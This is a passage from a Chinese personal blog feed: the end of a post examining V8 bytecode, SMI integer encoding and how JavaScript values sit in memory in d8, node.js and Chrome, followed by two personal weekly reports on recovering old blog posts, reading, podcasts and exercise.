         0x35e90011b062 @  118 : c5                Star0
         0x35e90011b063 @  119 : 0b f9             Ldar r1
         0x35e90011b065 @  121 : 50 15             Inc [21]
         0x35e90011b067 @  123 : c4                Star1
         0x35e90011b068 @  124 : 8a 1d 00 16       JumpLoop [29], [0], [22] (0x35e90011b04b @ 95)
         0x35e90011b06c @  128 : 0b fa             Ldar r0
         0x35e90011b06e @  130 : aa                Return
Constant pool (size = 10)
0x35e90011af9d: [FixedArray] in OldSpace
 - map: 0x35e900000089 &amp;lt;Map(FIXED_ARRAY_TYPE)&amp;gt;
 - length: 10
           0: 0x35e90011ae71 &amp;lt;FixedArray[2]&amp;gt;
           1: 0x35e90011ae55 &amp;lt;ScopeInfo CLASS_SCOPE&amp;gt;
           2: 0x35e90011af79 &amp;lt;FixedArray[7]&amp;gt;
           3: 0x35e90011aebd &amp;lt;SharedFunctionInfo UserData&amp;gt;
           4: 0x35e900002b85 &amp;lt;String[1]: u&amp;gt;
           5: 0x35e9000044a9 &amp;lt;String[7]: console&amp;gt;
           6: 0x35e900311cad &amp;lt;String[3]: log&amp;gt;
           7: 0x35e90011adc5 &amp;lt;String[5]: money&amp;gt;
           8: 0x35e90011add9 &amp;lt;String[5]: power&amp;gt;
           9: 0x35e900310aed &amp;lt;String[4]: test&amp;gt;
Handler Table (size = 0)
Source Position Table (size = 0)
[generated bytecode for function: UserData (0x35e90011aebd &amp;lt;SharedFunctionInfo UserData&amp;gt;)]
Bytecode length: 14
Parameter count 3
Register count 0
Frame size 0
         0x35e90011b1f8 @    0 : 0b 03             Ldar a0
         0x35e90011b1fa @    2 : 32 02 00 00       SetNamedProperty &amp;lt;this&amp;gt;, [0], [0]
         0x35e90011b1fe @    6 : 0b 04             Ldar a1
         0x35e90011b200 @    8 : 32 02 01 02       SetNamedProperty &amp;lt;this&amp;gt;, [1], [2]
         0x35e90011b204 @   12 : 0e                LdaUndefined
         0x35e90011b205 @   13 : aa                Return
Constant pool (size = 2)
0x35e90011b1c9: [FixedArray] in OldSpace
 - map: 0x35e900000089 &amp;lt;Map(FIXED_ARRAY_TYPE)&amp;gt;
 - length: 2
           0: 0x35e90011adc5 &amp;lt;String[5]: money&amp;gt;
           1: 0x35e90011add9 &amp;lt;String[5]: power&amp;gt;
Handler Table (size = 0)
Source Position Table (size = 0)
50 100
[generated bytecode for function: test (0x35e90011ae81 &amp;lt;SharedFunctionInfo test&amp;gt;)]
Bytecode length: 8
Parameter count 2
Register count 0
Frame size 0
         0x35e90011b374 @    0 : 2d 03 00 01       GetNamedProperty a0, [0], [1]
         0x35e90011b378 @    4 : 44 0a 00          AddSmi [10], [0]
         0x35e90011b37b @    7 : aa                Return
Constant pool (size = 1)
0x35e90011b349: [FixedArray] in OldSpace
 - map: 0x35e900000089 &amp;lt;Map(FIXED_ARRAY_TYPE)&amp;gt;
 - length: 1
           0: 0x35e90011adc5 &amp;lt;String[5]: money&amp;gt;
Handler Table (size = 0)
Source Position Table (size = 0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于初次接触这个字节码的人来说，肯定是要花点时间才能理解清楚的，所以我们直接丢给chatGPT，看看它能不能复原出原来的代码：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;以下回答出自GPT4&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这段字节码表示了一段更复杂的JavaScript代码。让我们一步一步地分析它。&lt;/p&gt;
&lt;p&gt;主函数字节码&lt;/p&gt;
&lt;p&gt;常量池：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;其他固定数组和元数据&lt;/li&gt;
&lt;li&gt;ScopeInfo for Class (类的范围信息)&lt;/li&gt;
&lt;li&gt;其他固定数组和元数据&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UserData&lt;/code&gt; 的共享函数信息&lt;/li&gt;
&lt;li&gt;字符串 &lt;code&gt;u&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;字符串 &lt;code&gt;console&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;字符串 &lt;code&gt;log&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;字符串 &lt;code&gt;money&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;字符串 &lt;code&gt;power&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;字符串 &lt;code&gt;test&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;分析：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;定义一个类&lt;code&gt;UserData&lt;/code&gt;，它有两个属性：&lt;code&gt;money&lt;/code&gt;和&lt;code&gt;power&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;创建一个&lt;code&gt;UserData&lt;/code&gt;实例，传入参数 &lt;code&gt;50&lt;/code&gt; 和 &lt;code&gt;100&lt;/code&gt; 作为 &lt;code&gt;money&lt;/code&gt; 和 &lt;code&gt;power&lt;/code&gt; 的初始化值。&lt;/li&gt;
&lt;li&gt;将这个实例赋值给变量 &lt;code&gt;u&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;调用 &lt;code&gt;console.log(u.money, u.power)&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;创建一个循环，循环次数为&lt;code&gt;100000000&lt;/code&gt;，在循环内部调用函数 &lt;code&gt;test&lt;/code&gt;，使用 &lt;code&gt;u&lt;/code&gt; 作为参数。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;UserData构造函数字节码&lt;/p&gt;
&lt;p&gt;分析：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;设置&lt;code&gt;this.money&lt;/code&gt;为传入的第一个参数。&lt;/li&gt;
&lt;li&gt;设置&lt;code&gt;this.power&lt;/code&gt;为传入的第二个参数。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;test函数字节码&lt;/p&gt;
&lt;p&gt;分析：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;从传入的对象中获取 &lt;code&gt;money&lt;/code&gt; 属性。&lt;/li&gt;
&lt;li&gt;将获取到的值加10。&lt;/li&gt;
&lt;li&gt;返回这个结果。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;复原后的JavaScript代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class UserData {
    constructor(money, power) {
        this.money = money;
        this.power = power;
    }
}

let u = new UserData(50, 100);
console.log(u.money, u.power);

function test(obj) {
    return obj.money + 10;
}

for (let i = 0; i &amp;lt; 100000000; i++) {
    test(u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就是根据给定的字节码复原的JavaScript代码。&lt;/p&gt;
&lt;p&gt;GPT4也太牛了🥹，完美取代我吧&lt;/p&gt;
&lt;p&gt;整体的字节码还是很好理解的，多看几遍，结合对应的指令格式不难分析出来。&lt;/p&gt;
&lt;p&gt;并且可以看到这两条指令，这就很类似汇编指令里去mov一个数值，所以这个数值一定是原封不动地保留在内存数据里的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;         0x35e90011b016 @   42 : 0d 32             LdaSmi [50]

         0x35e90011b019 @   45 : 0d 64             LdaSmi [100]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为v8运行时并没有 setInterval （也很神奇了），于是直接在d8的shell里做这个实验：&lt;/p&gt;
&lt;p&gt;可以很清晰地定位到，内存数值就是实际运行时数值的两倍（2474 = 1237 * 2）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreidnhzgcxooug3lcnwvmlbqrk6egcqcr35hwacwppnzpjyky5k4woq.png&quot; alt=&quot;DraggedImage-2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;修改内存，此时的数值就直接发生变化了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreieutfagqsew5zafzr5342fdyudipo3pgy2vt2tc2mtljfj4xqoogq.png&quot; alt=&quot;DraggedImage-3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对比node.js&lt;/p&gt;
&lt;p&gt;既然如此，那就来看看node.js&lt;/p&gt;
&lt;p&gt;自定义的类&lt;/p&gt;
&lt;p&gt;同样的代码，在node.js的shell中运行，实例化一个对象 user，可以看到我设置了 user.money 为一个很奇怪的数值，目的是保证内存中不会出现重复的数值（虽然还是重复了三个）
那就将这三个数值都修改了，效果也很明显，修改完之后，user.money 的数值就变化了&lt;/p&gt;
&lt;p&gt;那也不存在什么两倍关系啊？🤔 这不是很正常的，定位到数值后直接修改就好了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeieagaloceax56ptto53amql453tq7wur6td2qpsbgxgv7776fomum.png&quot; alt=&quot;DraggedImage-4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeih5ei6q2bh6r3madhytk65u32zlijqbrtpjeuouddl3ugdgkme4nq.png&quot; alt=&quot;DraggedImage-5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;内置的类&lt;/p&gt;
&lt;p&gt;自定义的类，对应的数值是可以直接搜索到的，那么node.js提供的类会不会不一样呢，找个Map做下测试&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class UserData {
    constructor(money, power) {
        this.test_map =new Map();
        this.test_map.set(&apos;money&apos;, money);
        this.test_map.set(&apos;power&apos;, power);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过CE还是可以定位到：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreihw4kycqllv27lg4m35pvvi6vhtltp4niydrnyntz55wh4t5s6fcm.png&quot; alt=&quot;DraggedImage-6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;并且也能修改：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreiaudyut4wv7kl657bahdt5sh5c7fyze2hfzwsx6kqvav7k7z2b5pe.png&quot; alt=&quot;DraggedImage-7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对比浏览器&lt;/p&gt;
&lt;p&gt;后知后觉，才意识到chrome的开发者工具中有一个可以拍摄内存快照的工具，主要是用来排查内存泄漏原因的，不过对于内存布局的研究也很方便&lt;/p&gt;
&lt;p&gt;chrome Memory面板&lt;/p&gt;
&lt;p&gt;我们可以编写一段示例代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
var _____testArray_____ = [{value: &apos;hello&apos;}, {money: 9999} ];
console.info(_____testArray_____);
&amp;lt;/script&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拍摄内存快照，点击获取快照即可拍摄下当前的快照&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreia77nqgdycbax65lm2ui33fbox6opizblkhf7hmn3at3orxrye3om.png&quot; alt=&quot;DraggedImage-8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在当前页面直接按下 &lt;code&gt;cmd + F&lt;/code&gt; (对应Windows应该是 &lt;code&gt;ctfl+ F&lt;/code&gt; ，可以在底部打开搜索窗口&lt;/p&gt;
&lt;p&gt;因为我们的代码中出现了 &lt;code&gt;hello&lt;/code&gt; 字符串，因此直接搜索之，搜到之后，右键在摘要视图中显示，就可以定位到对应的构造函数了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiawiyqaqg6zhjj2r3nszkf2guprtqf5qplc5iqhwgjdt3gk5hhv5q.png&quot; alt=&quot;DraggedImage-9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从内存结构上看，&lt;/p&gt;
&lt;p&gt;即：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;hello 字符串 @17037（可以理解为一段内存的标识符）
&lt;ul&gt;
&lt;li&gt;存储在 Object@92971 （对应 &lt;code&gt;{value: ;&apos;hello&apos;}&lt;/code&gt;）
&lt;ul&gt;
&lt;li&gt;Obj又作为数组，存储在 Array@92961（对应 &lt;code&gt;[{value: &apos;hello&apos;} ]&lt;/code&gt;)
&lt;ul&gt;
&lt;li&gt;数组存储在 &lt;code&gt;testArray&lt;/code&gt;这个变量中，由于是全局变量，因此对应到 Window@92867 上&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;这也对应了通过 var 声明的变量是直接挂载在 Window对象的属性上&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;什么是smi？&lt;/p&gt;
&lt;p&gt;如果你足够眼尖，应该就能发现，数字9999被标记上了smi number&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreifrt7vjy4mshwgr36kxw5ufcwqq7yxwfrsgjyuta6ie27xay5lkye.png&quot; alt=&quot;DraggedImage-10&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;以下是GPT4给出的回答：
在 JavaScript 的 V8 引擎（主要用于 Google Chrome 和 Node.js）中，SMI（Small Integer）是一种特殊的整数表示方式。这种表示方法主要用于性能优化。SMI 是一种“标记”整数类型，其中一部分位用于存储实际的整数值，而其他位则用于标记这个数字为 SMI 类型。
具体的实现可能依赖于具体的平台和环境，但在一个典型的 64 位系统上，一个 SMI 可能会使用 31 位来表示整数值，而剩下的位则用于其他目的，如垃圾收集标记、类型信息等。因为使用了这些额外的位，所以 SMI 能表示的整数范围会比通常的 32 位或 64 位整数要小。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;从GPT给出的回答来看，一个SMI会使用31位来表示整数值，剩余的1位则用于其他目的，那不正好相当于是数据左移了一位！也就是文章开头提到的内存规律&lt;/p&gt;
&lt;p&gt;但还遗留了一个问题，即node.js为什么没有用SMI？至少从上述测试来看，node.js就是直接存的。&lt;/p&gt;
&lt;p&gt;GPT对此也没给出很好的回答， 只能猜测node.js背后对v8做了一些魔改吧🤣&lt;/p&gt;
&lt;p&gt;参考&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://cabulous.medium.com/how-v8-javascript-engine-works-5393832d80a7&quot;&gt; How V8 JavaScript engine works step by step [with diagram] &lt;/a&gt; 这篇可以加深对v8引擎的理解，有丰富的流程图&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/fhinkel/v8-internals-how-small-is-a-small-integer-e0badc18b6da&quot;&gt; V8 Internals: How Small is a “Small Integer?” &lt;/a&gt; 理解smi&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报13 你，还有一支笔</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A513-%E4%BD%A0%E8%BF%98%E6%9C%89%E4%B8%80%E6%94%AF%E7%AC%94/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A513-%E4%BD%A0%E8%BF%98%E6%9C%89%E4%B8%80%E6%94%AF%E7%AC%94/</guid><pubDate>Mon, 28 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报13 你，还有一支笔&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeicrrkfup357iv77gcwiuza77rwyxr7q6eez7sisbht4qju5kgh46e.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里记录的是raye在2023.8.21~2023.8.27的生活与思考&lt;/p&gt;
&lt;p&gt;上周也是有些心里憔悴，导致睡眠加工作效率都不太行，索性周末开始了躺平之旅，每天上午打完羽毛球后就做点自己想做的，好好放松下（尽管实际效果也并不是很好）。&lt;/p&gt;
&lt;p&gt;周六下午继续在熟悉xlog的源码，感受到了后端和前端开发思路的差异🥹，pr还没完善好，需要再继续分析下，顺带也想写篇文章解读下源码。周日下午则去参加了另外一个BG的读书会，主讲人分享的是《霍乱时代的爱情》，也算是第一次来参加公司线下组织的读书会，本来笔名应该要文雅一点的，结果就很简单的用了raye这个英文名😅。不过和书友们交流的还是很开心，也计划着做下一次分享的主讲人，目前还在思考要分享哪本书&lt;/p&gt;
&lt;p&gt;周末飞速读完了《克莱因壶》，确实是一本很棒的小说，主人公体验了vr游戏之后，渐渐分不清现实和虚拟，有点像盗梦空间，不知道诺兰是否盗用了这个构思呢🤔&lt;/p&gt;
&lt;p&gt;本周最重要的事情则是开始重新整理自己以前的博客文章，重新拾起几年前的记忆&lt;/p&gt;
&lt;p&gt;曾经的我以为，总要抛弃过往，总要告别时光，总要挥泪离别，总要不断向前&lt;/p&gt;
&lt;p&gt;如果蓝天可以忘记白云的拂拭，如果老树可以忘记黄鹂的啭歌
如果海浪可以忘记岸边的拥吻，如果夜空可以忘记繁星的闪烁
如果丹青可以忘记笔尖的流转，如果砚台可以忘记墨水的浸染&lt;/p&gt;
&lt;p&gt;可惜这只是如果，我还是太高估了自己，有些留下的记录终究是舍不得的&lt;/p&gt;
&lt;p&gt;这周突然怀念起自己以前写的文章，因为种种原因（比如误删了Github仓库🥲，sb操作）都不见了&lt;/p&gt;
&lt;p&gt;张晓风老师曾提到她曾经在机场柜台填单的时候，随声携带的包包被偷了。当她察觉过来才意识到发生了什么，虽然沮丧，但那一瞬间，有个念头突然涌现出来：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;你，还有一支笔&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;是为本周报序&lt;/p&gt;
&lt;p&gt;📝旧博客迁移&lt;/p&gt;
&lt;p&gt;虽然序言里提到文章都丢失了，不过幸好以前做了多备份，在gitee、coding平台上都找到了我的存档！太激动了（尽管md源文件已经丢失，但至少静态的HTML还留着，图片也都未丢失）&lt;/p&gt;
&lt;p&gt;借此机会，重新整理了一下我的写作经历：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2018.11.20 以&quot;萍水间人&quot;的身份在简书第一篇文章 《Gephi分析红楼梦》总计写了160篇文章，字数8.1k，最后停更时间在2023年2月17日&lt;/li&gt;
&lt;li&gt;2019.02.07 hexo博客搭建 主题NexT 第一篇文章 《bugku web题目的wp》，总共写了74篇文章，字数未知，最后停更时间在2019年10月20日&lt;/li&gt;
&lt;li&gt;2020.01.30 hexo博客，主题更换为Butterfly 第一篇文章《XXE复习》，总共写了87篇文章，字数66.5k。最后停更时间在2020年6月6日&lt;/li&gt;
&lt;li&gt;2023.4.3 正式成为一名xlogger，发表第一篇文章《周报1 羽毛球、聚会、句子》，目前还在写作中，希望这个停更时间是无限长😃
算下来，从2018年开始，总共写了321篇文章，总字数怎么也得破百万了吧哈哈哈哈🤣&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;部分截图如下，虽然都只剩静态的HTML页面了，不过我还是打算找个时间将其都部署出来，也算是一种留念了吧&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreigpawvompa3jhe4ohyoattliuqncsysn42usd5bhpvjqzk6efr7bq.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiancgdymoxmqx5qc63tizvsxzycuxjfrz2tffzsrhbebsa33wxr4i.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeienxn5cj6ofhgs2yscw56t4nl25ea2iz7c2xv5xtqmsz7rifm263y.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;找回文章的那一刻，就感觉找到了一位失散多年的亲人，于是准备把以前的文章都精选出来，并且重新加工下，搬运到xlog上，目前还在缓慢进行中&lt;/p&gt;
&lt;p&gt;除此之外，怎么将文章翻译文英文也是我一个比较头疼的问题，虽然过了六级，但英语水平其实还是很一般。不过很快就发现，沉浸式翻译这个工具也太好用了，结合Deepl翻译或者OpenAI的体验是真的棒，翻译的文章我自己都看不懂了，很接近原生的英语表达。&lt;/p&gt;
&lt;p&gt;比如我将自己上周的周报翻译成了英文版，放在medium上，&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://rayepeng.medium.com/weekpost12-3bafcf78faec&quot;&gt; Weekly Report 12: Traveler on the road, why not take a break and enjoy the journey? &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;唯一的缺点就是价格太高，但是我的OpenAI免费用量已经到期了，如果想要用自己的API token就得重新注册个账号🫠。懒得折腾，就当支持下沉浸式翻译插件了🤣&lt;/p&gt;
&lt;p&gt;👨🏻‍💻开源与xlog&lt;/p&gt;
&lt;p&gt;本来想着给xlog开发一个评论置顶功能应该挺简单的，但我低估从后端到前端思路转变的难处了&lt;/p&gt;
&lt;p&gt;尤其是对react hooks的理解，本来以为自己懂了懂了，马上就能用了！结果写起来还是要花很长的时间去思考，同时又发现自己遗漏了很多要点&lt;/p&gt;
&lt;p&gt;等我慢慢来熟悉前端的东西吧，奔着目标去总能解决的&lt;/p&gt;
&lt;p&gt;📚阅读 &amp;amp; 🎧播客&lt;/p&gt;
&lt;p&gt;记录下本周看过的一些书&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://weread.qq.com/web/bookDetail/e7232170813ab7c05g0128b0&quot;&gt;《在森崎书店的日子》&lt;/a&gt;
对这类书名似乎都有一种说不出的喜欢，给人一种摆脱了世俗，外加小清新感的故事
但不足之处在于，故事情节的引子推动让人觉得不是那么可信，有些为了推动而推动。不过这本书更关注的其实是主人公的内心的变化，算是唯一的一点瑕疵了&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://weread.qq.com/web/bookDetail/31e32cc071cad2bd31e0252&quot;&gt;《克莱因壶》&lt;/a&gt;
序言提到了，推荐，一两个小时就能看完&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;记录本周听过的一些播客&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.xiaoyuzhoufm.com/episode/63757ba2b8a7376c7e15d6c0&quot;&gt; 275. 离开看理想之后，我去深圳围观&quot;搞钱&quot; &lt;/a&gt;
第一次听说其他地方的人对深圳打工人睡午觉这么惊讶，真的好好玩哈哈哈哈 😆&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.xiaoyuzhoufm.com/episode/64af8aeefcfe2c92feb7af0d?s=eyJ1IjogIjY0YjhiYzc0ZWRjZTY3MTA0YWRhNmU1OCJ9&quot;&gt; 《长安三万里》背后的历史更精彩 &lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.xiaoyuzhoufm.com/episode/64e62b09e490c5dee547778b?s=eyJ1IjogIjY0YjhiYzc0ZWRjZTY3MTA0YWRhNmU1OCJ9&quot;&gt; No.35 和活力满满的拾一Innei 聊前端 React 技术选型、博客开发和生活的确幸 &lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.xiaoyuzhoufm.com/episode/64adedbc5142ef4a6cb4eece?s=eyJ1IjogIjY0YjhiYzc0ZWRjZTY3MTA0YWRhNmU1OCJ9&quot;&gt; vol.150｜徐英瑾：历史小说是倒向的思想实验 &lt;/a&gt;
播客种推荐了一本书，《坚：三国前传之孙坚匡汉》，从另一个视角去看三国，挺吸引我这个历史迷的&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;📮 Newsletter&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦, &lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/Gz1JvJOnO39D1zmhHqLdgg&quot;&gt;恒大的“破产保护”，后患无穷 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://homura.live/2023/08/23/Life/25/&quot;&gt; 25 | Homura&apos;s Blog &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.peterchen97.cn/posts/16-%E6%88%91%E7%9A%84%E8%AF%BB%E4%B9%A6%E7%AE%80%E5%8F%B2/&quot;&gt; 我的读书简史 &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报12 赶路人，何妨走走停停</title><link>https://rayepeng.net/posts/weekpost12/</link><guid isPermaLink="true">https://rayepeng.net/posts/weekpost12/</guid><pubDate>Sun, 20 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报12 赶路人，何妨走走停停&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiazt6cds6wmhguttsc34ifnzfhn676ehn7mevcptfjv7xduwvn4wm.png&quot; alt=&quot;Group 1 (2)&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;周报给予一我种心流，在这种近似于修禅的状态下，整理回顾自己的平淡无奇的生活，就像在小孩子在描摹一张五彩斑斓的画。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;就像一只飞久了会累的鸟儿，也要找个栖息地去饮泉进食。本周也体会到了压力过大带来的痛苦，入眠后感觉那根弦也一直绷紧着，无法真正放松下来，甚至于连躺下来，静静听一下播客都成为一种奢望。仿佛只要一安静下来，就会失去什么，心中总是焦躁不安，于是只好开始半强迫自己，闭合双眼，进入到一种意识流的思想状态。张晓风曾经在《我的幽光实验》中提到，她喜欢黑暗的晚上，关上房间里的灯光，独处于黑暗之中，仿佛宇宙成为了一把巨大的天平，幽光在彼端，与之对坐，相顾无言，唯有静静享受这一小段摆脱了快节奏生活的安心与静好。&lt;/p&gt;
&lt;p&gt;许是个性使然，内心总是很急，步履总是匆匆，眼神总是在搜寻。吃东西一定要很快速的吃完，写文章一定要马上就写完并发布出来，看电视剧恨不得跳过无用的对话，立马就知晓结局。并非沉不下心来，只是内心在恐惧，错过了此刻，就无法再去经历。&lt;/p&gt;
&lt;p&gt;工作久了，心态也渐渐发生了很多变化，开始越来越唯结果论，不再去关注当下的过程，缺少对过程的回顾。仿佛结果到位了，什么都是好的。之前看了Randy的文章，也曾幻想过去泰国修禅，去冥想，去好好学习如何休息。后来一想何必这么折腾呢，此刻在写周报时，慢慢体味这一刻键盘的敲击声，耳机中传来音乐的每一个节拍，窗外一束阳光照射下来，随风飘舞的一粒灰尘。怪到，张岱的《湖心亭看雪》能让人拍案叫绝，&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;天与云与山与水，上下一白。湖上影子，惟长堤一痕、湖心亭一点、与余舟一芥、舟中人两三粒而已&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;文字记录的美好，也终究会被现实所打破。试想，乘兴而来，数九寒冬，江面行舟，尽管拥拥毳衣炉火，但侵人的寒气可想而知。还好这一程并未让人失望，湖中焉的更有此人！&lt;/p&gt;
&lt;p&gt;最喜欢张晓风这一句，&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我是个赶路人，却总是忍不住贪看山色&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;赶路人，何妨走走停停呢&lt;/p&gt;
&lt;p&gt;是为本周报序&lt;/p&gt;
&lt;p&gt;💭 杂念&lt;/p&gt;
&lt;p&gt;本周值得一提的是Apple Fitness给我设立的8月健身目标：连续14天，每天锻炼时间超过110分钟&lt;/p&gt;
&lt;p&gt;最开始还觉得这是不是稍微过分了，结果现在已经完成了12次了，8月平均每天锻炼时间达到125min&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreictg7o5nt4lftetzz43kza32ot2js5vsr3fl2m32pg56rlh5gmfia.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6273911084821886817-y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其实运动是经常保持的，羽毛球、跑步、HIT等等，但体重却一直没降下来，估摸着还是太爱吃主食了。本周又开始坚持重新跳绳了，目标有二，其一因为相信跳绳是减肥的最好方式，10min不到就能消耗100卡；其二是训练打羽毛球时的体力与跳跃能力&lt;/p&gt;
&lt;p&gt;最近也开始对政治感兴趣了，在这之前是没太去管这些的，对于历史的思考点更多集中在军事、人物。至于政治、合法性权威这类问题很少涉猎，但架不住内心好奇心的驱使，渐渐地理解到了政治、权力、权威、合法性等等名词。结合当下经济的不景气，也逐渐意识到了，原来历史对当代实是有一种借鉴作用，但历史的吊诡就在于，明知这件事是错误的，历史也证明了这点，但这却又是当下唯一一种最合理，最能解决办法的途径&lt;/p&gt;
&lt;p&gt;从上周开始重新读纸质书了，似乎是为了摆脱一直被屏幕围困的生活，我需要跳出来，用一些看似退步、逃离的方式，来远离一些屏幕的围剿&lt;/p&gt;
&lt;p&gt;📖阅读 &amp;amp; 🎮游戏&lt;/p&gt;
&lt;p&gt;序言也提到了，本周过的很凌乱，并没有一个有计划的去追剧 or 阅读，倒是又重新捡起好久没玩的xbox与Apple arcade游戏，重温了游戏的乐趣，获得了很多新奇的体验。&lt;/p&gt;
